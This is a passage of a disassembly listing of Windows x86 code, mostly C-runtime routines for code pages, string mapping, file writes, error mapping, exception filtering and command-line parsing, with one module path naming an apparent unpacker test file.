lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BF13: ; CODE XREF: sub_41BD71+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41BF47
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41BF47: ; CODE XREF: sub_41BD71+1C2j
cmp ebx, edi
jz short loc_41BEFF
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421190 ; LCMapStringW
test eax, eax
jz short loc_41BEFF
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_41BF6E
push edi
push edi
jmp short loc_41BF74
; ---------------------------------------------------------------------------
loc_41BF6E: ; CODE XREF: sub_41BD71+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41BF74: ; CODE XREF: sub_41BD71+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_421138 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_41BEFF
loc_41BF8E: ; CODE XREF: sub_41BD71+165j
; sub_41BD71+188j
mov eax, esi
jmp loc_41BF01
sub_41BD71 endp
; =============== S U B R O U T I N E =======================================
sub_41BF95 proc near ; CODE XREF: sub_41BD71+81p
; sub_41F845+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_41BFB2
loc_41BFA5: ; CODE XREF: sub_41BF95+1Bj
cmp byte ptr [eax], 0
jz short loc_41BFB2
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_41BFA5
loc_41BFB2: ; CODE XREF: sub_41BF95+Ej
; sub_41BF95+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_41BFBD
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41BFBD: ; CODE XREF: sub_41BF95+21j
mov eax, edx
retn
sub_41BF95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BFC0 proc near ; CODE XREF: sub_41C384+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41C159 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_46A8C4
mov [ebp+arg_0], esi
jz loc_41C14D
xor ebx, ebx
cmp esi, ebx
jz loc_41C143
xor edx, edx
mov eax, offset dword_4380F0
loc_41BFF4: ; CODE XREF: sub_41BFC0+41j
cmp [eax], esi
jz short loc_41C06A
add eax, 30h
inc edx
cmp eax, offset dword_4381E0
jl short loc_41BFF4
lea eax, [ebp+var_18]
push eax
push esi
call dword_421194 ; GetCPInfo
cmp eax, 1
jnz loc_41C13B
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46A9E0
cmp [ebp+var_18], 1
mov dword_46A8C4, esi
rep stosd
stosb
mov dword_46AAE4, ebx
jbe loc_41C129
cmp [ebp+var_12], 0
jz loc_41C0FF
lea ecx, [ebp+var_11]
loc_41C047: ; CODE XREF: sub_41BFC0+139j
mov dl, [ecx]
test dl, dl
jz loc_41C0FF
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41C058: ; CODE XREF: sub_41BFC0+A8j
cmp eax, edx
ja loc_41C0F3
or byte_46A9E1[eax], 4
inc eax
jmp short loc_41C058
; ---------------------------------------------------------------------------
loc_41C06A: ; CODE XREF: sub_41BFC0+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46A9E0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_438100[esi]
loc_41C086: ; CODE XREF: sub_41BFC0+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41C0B9
loc_41C08D: ; CODE XREF: sub_41BFC0+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41C0B9
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41C0B2
mov edx, [ebp+var_4]
mov dl, byte_4380E8[edx]
loc_41C0A7: ; CODE XREF: sub_41BFC0+F0j
or byte_46A9E1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41C0A7
loc_41C0B2: ; CODE XREF: sub_41BFC0+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41C08D
loc_41C0B9: ; CODE XREF: sub_41BFC0+CBj
; sub_41BFC0+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41C086
mov eax, [ebp+arg_0]
mov dword_46A8DC, 1
push eax
mov dword_46A8C4, eax
call sub_41C1A3
lea esi, dword_4380F4[esi]
mov edi, offset dword_46A8D0
movsd
movsd
pop ecx
mov dword_46AAE4, eax
movsd
jmp short loc_41C148
; ---------------------------------------------------------------------------
loc_41C0F3: ; CODE XREF: sub_41BFC0+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41C047
loc_41C0FF: ; CODE XREF: sub_41BFC0+7Ej
; sub_41BFC0+8Bj
push 1
pop eax
loc_41C102: ; CODE XREF: sub_41BFC0+14Fj
or byte_46A9E1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41C102
push esi
call sub_41C1A3
pop ecx
mov dword_46AAE4, eax
mov dword_46A8DC, 1
jmp short loc_41C12F
; ---------------------------------------------------------------------------
loc_41C129: ; CODE XREF: sub_41BFC0+74j
mov dword_46A8DC, ebx
loc_41C12F: ; CODE XREF: sub_41BFC0+167j
xor eax, eax
mov edi, offset dword_46A8D0
stosd
stosd
stosd
jmp short loc_41C148
; ---------------------------------------------------------------------------
loc_41C13B: ; CODE XREF: sub_41BFC0+51j
cmp dword_469540, ebx
jz short loc_41C151
loc_41C143: ; CODE XREF: sub_41BFC0+27j
call sub_41C1D6
loc_41C148: ; CODE XREF: sub_41BFC0+131j
; sub_41BFC0+179j
call sub_41C1FF
loc_41C14D: ; CODE XREF: sub_41BFC0+1Dj
xor eax, eax
jmp short loc_41C154
; ---------------------------------------------------------------------------
loc_41C151: ; CODE XREF: sub_41BFC0+181j
or eax, 0FFFFFFFFh
loc_41C154: ; CODE XREF: sub_41BFC0+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41BFC0 endp
; =============== S U B R O U T I N E =======================================
sub_41C159 proc near ; CODE XREF: sub_41BFC0+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_469540, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41C179
mov dword_469540, 1
jmp dword_42119C
; ---------------------------------------------------------------------------
loc_41C179: ; CODE XREF: sub_41C159+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41C18E
mov dword_469540, 1
jmp dword_421198
; ---------------------------------------------------------------------------
loc_41C18E: ; CODE XREF: sub_41C159+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41C1A2
mov eax, dword_469538
mov dword_469540, 1
locret_41C1A2: ; CODE XREF: sub_41C159+38j
retn
sub_41C159 endp
; =============== S U B R O U T I N E =======================================
sub_41C1A3 proc near ; CODE XREF: sub_41BFC0+118p
; sub_41BFC0+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41C1D0
sub eax, 4
jz short loc_41C1CA
sub eax, 0Dh
jz short loc_41C1C4
dec eax
jz short loc_41C1BE
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C1BE: ; CODE XREF: sub_41C1A3+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41C1C4: ; CODE XREF: sub_41C1A3+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41C1CA: ; CODE XREF: sub_41C1A3+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41C1D0: ; CODE XREF: sub_41C1A3+9j
mov eax, 411h
retn
sub_41C1A3 endp
; =============== S U B R O U T I N E =======================================
sub_41C1D6 proc near ; CODE XREF: sub_41BFC0:loc_41C143p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_46A9E0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_46A8D0
mov dword_46A8C4, eax
mov dword_46A8DC, eax
mov dword_46AAE4, eax
stosd
stosd
stosd
pop edi
retn
sub_41C1D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C1FF proc near ; CODE XREF: sub_41BFC0:loc_41C148p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_46A8C4
call dword_421194 ; GetCPInfo
cmp eax, 1
jnz loc_41C338
xor eax, eax
mov esi, 100h
loc_41C229: ; CODE XREF: sub_41C1FF+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41C229
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41C27A
push ebx
push edi
lea edx, [ebp+var_D]
loc_41C248: ; CODE XREF: sub_41C1FF+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41C26F
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41C26F: ; CODE XREF: sub_41C1FF+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41C248
pop edi
pop ebx
loc_41C27A: ; CODE XREF: sub_41C1FF+42j
push 0
lea eax, [ebp+var_514]
push dword_46AAE4
push dword_46A8C4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_41D1F7
push 0
lea eax, [ebp+var_214]
push dword_46A8C4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_46AAE4
call sub_41BD71
push 0
lea eax, [ebp+var_314]
push dword_46A8C4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_46AAE4
call sub_41BD71
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41C2F5: ; CODE XREF: sub_41C1FF+135j
mov dx, [ecx]
test dl, 1
jz short loc_41C313
or byte_46A9E1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41C30B: ; CODE XREF: sub_41C1FF+127j
mov byte_46A8E0[eax], dl
jmp short loc_41C32F
; ---------------------------------------------------------------------------
loc_41C313: ; CODE XREF: sub_41C1FF+FCj
test dl, 2
jz short loc_41C328
or byte_46A9E1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41C30B
; ---------------------------------------------------------------------------
loc_41C328: ; CODE XREF: sub_41C1FF+117j
and byte_46A8E0[eax], 0
loc_41C32F: ; CODE XREF: sub_41C1FF+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41C2F5
jmp short loc_41C381
; ---------------------------------------------------------------------------
loc_41C338: ; CODE XREF: sub_41C1FF+1Dj
xor eax, eax
mov esi, 100h
loc_41C33F: ; CODE XREF: sub_41C1FF+180j
cmp eax, 41h
jb short loc_41C35D
cmp eax, 5Ah
ja short loc_41C35D
or byte_46A9E1[eax], 10h
mov cl, al
add cl, 20h
loc_41C355: ; CODE XREF: sub_41C1FF+174j
mov byte_46A8E0[eax], cl
jmp short loc_41C37C
; ---------------------------------------------------------------------------
loc_41C35D: ; CODE XREF: sub_41C1FF+143j
; sub_41C1FF+148j
cmp eax, 61h
jb short loc_41C375
cmp eax, 7Ah
ja short loc_41C375
or byte_46A9E1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41C355
; ---------------------------------------------------------------------------
loc_41C375: ; CODE XREF: sub_41C1FF+161j
; sub_41C1FF+166j
and byte_46A8E0[eax], 0
loc_41C37C: ; CODE XREF: sub_41C1FF+15Cj
inc eax
cmp eax, esi
jb short loc_41C33F
loc_41C381: ; CODE XREF: sub_41C1FF+137j
pop esi
leave
retn
sub_41C1FF endp
; =============== S U B R O U T I N E =======================================
sub_41C384 proc near ; CODE XREF: sub_41C7C2+9p
; sub_41C81A+Dp ...
cmp dword_46AB0C, 0
jnz short locret_41C39F
push 0FFFFFFFDh
call sub_41BFC0
pop ecx
mov dword_46AB0C, 1
locret_41C39F: ; CODE XREF: sub_41C384+7j
retn
sub_41C384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3A0 proc near ; CODE XREF: sub_417348+2Bp
; sub_417348+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_46A8DC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41C3C4
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_416D40
add esp, 0Ch
jmp short loc_41C427
; ---------------------------------------------------------------------------
loc_41C3C4: ; CODE XREF: sub_41C3A0+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41C409
mov ecx, [ebp+arg_4]
loc_41C3CF: ; CODE XREF: sub_41C3A0+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_46A9E1[esi], 4
mov [edi], al
jz short loc_41C3F3
inc edi
inc ecx
test edx, edx
jz short loc_41C3FF
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41C405
jmp short loc_41C3F9
; ---------------------------------------------------------------------------
loc_41C3F3: ; CODE XREF: sub_41C3A0+3Ej
inc edi
inc ecx
test al, al
jz short loc_41C409
loc_41C3F9: ; CODE XREF: sub_41C3A0+51j
test edx, edx
jnz short loc_41C3CF
jmp short loc_41C409
; ---------------------------------------------------------------------------
loc_41C3FF: ; CODE XREF: sub_41C3A0+44j
and byte ptr [edi-1], 0
jmp short loc_41C409
; ---------------------------------------------------------------------------
loc_41C405: ; CODE XREF: sub_41C3A0+4Fj
and byte ptr [edi-2], 0
loc_41C409: ; CODE XREF: sub_41C3A0+2Aj
; sub_41C3A0+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41C424
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41C424: ; CODE XREF: sub_41C3A0+6Fj
mov eax, [ebp+arg_0]
loc_41C427: ; CODE XREF: sub_41C3A0+22j
pop edi
pop ebp
retn
sub_41C3A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C42A proc near ; CODE XREF: sub_4175FF+A2p
; sub_417C37+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_46A8C0
push esi
push edi
jnb loc_41C5BE
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7C0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41C5BE
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41C47B
loc_41C474: ; CODE XREF: sub_41C42A+177j
xor eax, eax
jmp loc_41C5D2
; ---------------------------------------------------------------------------
loc_41C47B: ; CODE XREF: sub_41C42A+48j
test al, 20h
jz short loc_41C48B
push 2
push edi
push ecx
call sub_41BB7F
add esp, 0Ch
loc_41C48B: ; CODE XREF: sub_41C42A+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41C55A
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41C592
loc_41C4AB: ; CODE XREF: sub_41C42A+F5j
lea eax, [ebp+var_414]
loc_41C4B1: ; CODE XREF: sub_41C42A+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41C4E5
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41C4D0
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41C4D0: ; CODE XREF: sub_41C42A+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41C4B1
loc_41C4E5: ; CODE XREF: sub_41C42A+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_421070 ; WriteFile
test eax, eax
jz short loc_41C54F
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41C521
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41C4AB
loc_41C521: ; CODE XREF: sub_41C42A+EAj
; sub_41C42A+12Ej
xor edi, edi
loc_41C523: ; CODE XREF: sub_41C42A+150j
; sub_41C42A+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41C5B9
cmp [ebp+arg_0], edi
jz short loc_41C592
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41C587
mov dword_469494, 9
mov dword_469498, eax
jmp loc_41C5CF
; ---------------------------------------------------------------------------
loc_41C54F: ; CODE XREF: sub_41C42A+E0j
call dword_421088 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41C521
; ---------------------------------------------------------------------------
loc_41C55A: ; CODE XREF: sub_41C42A+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_421070 ; WriteFile
test eax, eax
jz short loc_41C57C
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41C523
; ---------------------------------------------------------------------------
loc_41C57C: ; CODE XREF: sub_41C42A+145j
call dword_421088 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41C523
; ---------------------------------------------------------------------------
loc_41C587: ; CODE XREF: sub_41C42A+10Fj
push [ebp+arg_0]
call sub_41C5D7
pop ecx
jmp short loc_41C5CF
; ---------------------------------------------------------------------------
loc_41C592: ; CODE XREF: sub_41C42A+7Bj
; sub_41C42A+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41C5A7
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41C474
loc_41C5A7: ; CODE XREF: sub_41C42A+16Fj
mov dword_469494, 1Ch
mov dword_469498, edi
jmp short loc_41C5CF
; ---------------------------------------------------------------------------
loc_41C5B9: ; CODE XREF: sub_41C42A+FEj
sub eax, [ebp+var_10]
jmp short loc_41C5D2
; ---------------------------------------------------------------------------
loc_41C5BE: ; CODE XREF: sub_41C42A+15j
; sub_41C42A+37j
and dword_469498, 0
mov dword_469494, 9
loc_41C5CF: ; CODE XREF: sub_41C42A+120j
; sub_41C42A+166j ...
or eax, 0FFFFFFFFh
loc_41C5D2: ; CODE XREF: sub_41C42A+4Cj
; sub_41C42A+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41C42A endp
; =============== S U B R O U T I N E =======================================
sub_41C5D7 proc near ; CODE XREF: sub_417709+16p
; sub_4178FC+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_469498, ecx
mov eax, offset dword_4381E0
loc_41C5E8: ; CODE XREF: sub_41C5D7+1Ej
cmp ecx, [eax]
jz short loc_41C60C
add eax, 8
inc edx
cmp eax, offset dword_438348
jl short loc_41C5E8
cmp ecx, 13h
jb short loc_41C619
cmp ecx, 24h
ja short loc_41C619
mov dword_469494, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41C60C: ; CODE XREF: sub_41C5D7+13j
mov eax, dword_4381E4[edx*8]
mov dword_469494, eax
retn
; ---------------------------------------------------------------------------
loc_41C619: ; CODE XREF: sub_41C5D7+23j
; sub_41C5D7+28j
cmp ecx, 0BCh
jb short loc_41C633
cmp ecx, 0CAh
mov dword_469494, 8
jbe short locret_41C63D
loc_41C633: ; CODE XREF: sub_41C5D7+48j
mov dword_469494, 16h
locret_41C63D: ; CODE XREF: sub_41C5D7+5Aj
retn
sub_41C5D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C63E proc near ; CODE XREF: sub_417AF8+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_41C77F
test eax, eax
pop ecx
jz loc_41C773
mov ebx, [eax+8]
test ebx, ebx
jz loc_41C773
cmp ebx, 5
jnz short loc_41C66F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41C77C
; ---------------------------------------------------------------------------
loc_41C66F: ; CODE XREF: sub_41C63E+23j
cmp ebx, 1
jz loc_41C76E
mov ecx, dword_469544
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_469544, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41C75E
mov ecx, dword_4383C0
mov edx, dword_4383C4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41C6BE
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:438350h[esi*4]
loc_41C6B5: ; CODE XREF: sub_41C63E+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41C6B5
loc_41C6BE: ; CODE XREF: sub_41C63E+69j
mov eax, [eax]
mov esi, dword_4383CC
cmp eax, 0C000008Eh
jnz short loc_41C6D9
mov dword_4383CC, 83h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C6D9: ; CODE XREF: sub_41C63E+8Dj
cmp eax, 0C0000090h
jnz short loc_41C6EC
mov dword_4383CC, 81h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C6EC: ; CODE XREF: sub_41C63E+A0j
cmp eax, 0C0000091h
jnz short loc_41C6FF
mov dword_4383CC, 84h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C63E+B3j
cmp eax, 0C0000093h
jnz short loc_41C712
mov dword_4383CC, 85h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C712: ; CODE XREF: sub_41C63E+C6j
cmp eax, 0C000008Dh
jnz short loc_41C725
mov dword_4383CC, 82h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C725: ; CODE XREF: sub_41C63E+D9j
cmp eax, 0C000008Fh
jnz short loc_41C738
mov dword_4383CC, 86h
jmp short loc_41C749
; ---------------------------------------------------------------------------
loc_41C738: ; CODE XREF: sub_41C63E+ECj
cmp eax, 0C0000092h
jnz short loc_41C749
mov dword_4383CC, 8Ah
loc_41C749: ; CODE XREF: sub_41C63E+99j
; sub_41C63E+ACj ...
push dword_4383CC
push 8
call ebx
pop ecx
mov dword_4383CC, esi
pop ecx
pop esi
jmp short loc_41C766
; ---------------------------------------------------------------------------
loc_41C75E: ; CODE XREF: sub_41C63E+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41C766: ; CODE XREF: sub_41C63E+11Ej
mov eax, [ebp+arg_0]
mov dword_469544, eax
loc_41C76E: ; CODE XREF: sub_41C63E+34j
or eax, 0FFFFFFFFh
jmp short loc_41C77C
; ---------------------------------------------------------------------------
loc_41C773: ; CODE XREF: sub_41C63E+Fj
; sub_41C63E+1Aj
push [ebp+arg_4]
call dword_4211A0 ; UnhandledExceptionFilter
loc_41C77C: ; CODE XREF: sub_41C63E+2Cj
; sub_41C63E+133j
pop ebx
pop ebp
retn
sub_41C63E endp
; =============== S U B R O U T I N E =======================================
sub_41C77F proc near ; CODE XREF: sub_41C63E+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_4383C8
cmp dword_438348, edx
push esi
mov eax, offset dword_438348
jz short loc_41C7AC
lea esi, [ecx+ecx*2]
lea esi, ds:438348h[esi*4]
loc_41C7A1: ; CODE XREF: sub_41C77F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41C7AC
cmp [eax], edx
jnz short loc_41C7A1
loc_41C7AC: ; CODE XREF: sub_41C77F+16j
; sub_41C77F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:438348h[ecx*4]
cmp eax, ecx
jnb short loc_41C7BF
cmp [eax], edx
jz short locret_41C7C1
loc_41C7BF: ; CODE XREF: sub_41C77F+3Aj
xor eax, eax
locret_41C7C1: ; CODE XREF: sub_41C77F+3Ej
retn
sub_41C77F endp
; =============== S U B R O U T I N E =======================================
sub_41C7C2 proc near ; CODE XREF: sub_417AF8+A5p
cmp dword_46AB0C, 0
jnz short loc_41C7D0
call sub_41C384
loc_41C7D0: ; CODE XREF: sub_41C7C2+7j
push esi
mov esi, dword_46AB04
mov al, [esi]
cmp al, 22h
jnz short loc_41C802
loc_41C7DD: ; CODE XREF: sub_41C7C2+33j
; sub_41C7C2+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41C7FA
test al, al
jz short loc_41C7FA
movzx eax, al
push eax
call sub_41E6AC
test eax, eax
pop ecx
jz short loc_41C7DD
inc esi
jmp short loc_41C7DD
; ---------------------------------------------------------------------------
loc_41C7FA: ; CODE XREF: sub_41C7C2+21j
; sub_41C7C2+25j
cmp byte ptr [esi], 22h
jnz short loc_41C80C
loc_41C7FF: ; CODE XREF: sub_41C7C2+52j
inc esi
jmp short loc_41C80C
; ---------------------------------------------------------------------------
loc_41C802: ; CODE XREF: sub_41C7C2+19j
cmp al, 20h
jbe short loc_41C80C
loc_41C806: ; CODE XREF: sub_41C7C2+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41C806
loc_41C80C: ; CODE XREF: sub_41C7C2+3Bj
; sub_41C7C2+3Ej ...
mov al, [esi]
test al, al
jz short loc_41C816
cmp al, 20h
jbe short loc_41C7FF
loc_41C816: ; CODE XREF: sub_41C7C2+4Ej
mov eax, esi
pop esi
retn
sub_41C7C2 endp
; =============== S U B R O U T I N E =======================================
sub_41C81A proc near ; CODE XREF: sub_417AF8+8Ep
push ebx
xor ebx, ebx
cmp dword_46AB0C, ebx
push esi
push edi
jnz short loc_41C82C
call sub_41C384
loc_41C82C: ; CODE XREF: sub_41C81A+Bj
mov esi, dword_4694E0
xor edi, edi
loc_41C834: ; CODE XREF: sub_41C81A+30j
mov al, [esi]
cmp al, bl
jz short loc_41C84C
cmp al, 3Dh
jz short loc_41C83F
inc edi
loc_41C83F: ; CODE XREF: sub_41C81A+22j
push esi
call sub_415CF0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41C834
; ---------------------------------------------------------------------------
loc_41C84C: ; CODE XREF: sub_41C81A+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_415DC9
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4694BC, esi
jnz short loc_41C86E
push 9
call sub_417BEE
pop ecx
loc_41C86E: ; CODE XREF: sub_41C81A+4Aj
mov edi, dword_4694E0
cmp [edi], bl
jz short loc_41C8B1
push ebp
loc_41C879: ; CODE XREF: sub_41C81A+94j
push edi
call sub_415CF0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41C8AA
push ebp
call sub_415DC9
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41C89D
push 9
call sub_417BEE
pop ecx
loc_41C89D: ; CODE XREF: sub_41C81A+79j
push edi
push dword ptr [esi]
call sub_415C00
pop ecx
add esi, 4
pop ecx
loc_41C8AA: ; CODE XREF: sub_41C81A+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_41C879
pop ebp
loc_41C8B1: ; CODE XREF: sub_41C81A+5Cj
push dword_4694E0
call sub_415E3D
pop ecx
mov dword_4694E0, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_46AB08, 1
pop ebx
retn
sub_41C81A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8D3 proc near ; CODE XREF: sub_417AF8+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_46AB0C, ebx
push esi
push edi
jnz short loc_41C8EA
call sub_41C384
loc_41C8EA: ; CODE XREF: sub_41C8D3+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_42107C ; GetModuleFileNameA
mov eax, dword_46AB04
mov off_4694CC, esi
mov edi, esi
cmp [eax], bl
jz short loc_41C90F
mov edi, eax
loc_41C90F: ; CODE XREF: sub_41C8D3+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_41C96C
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
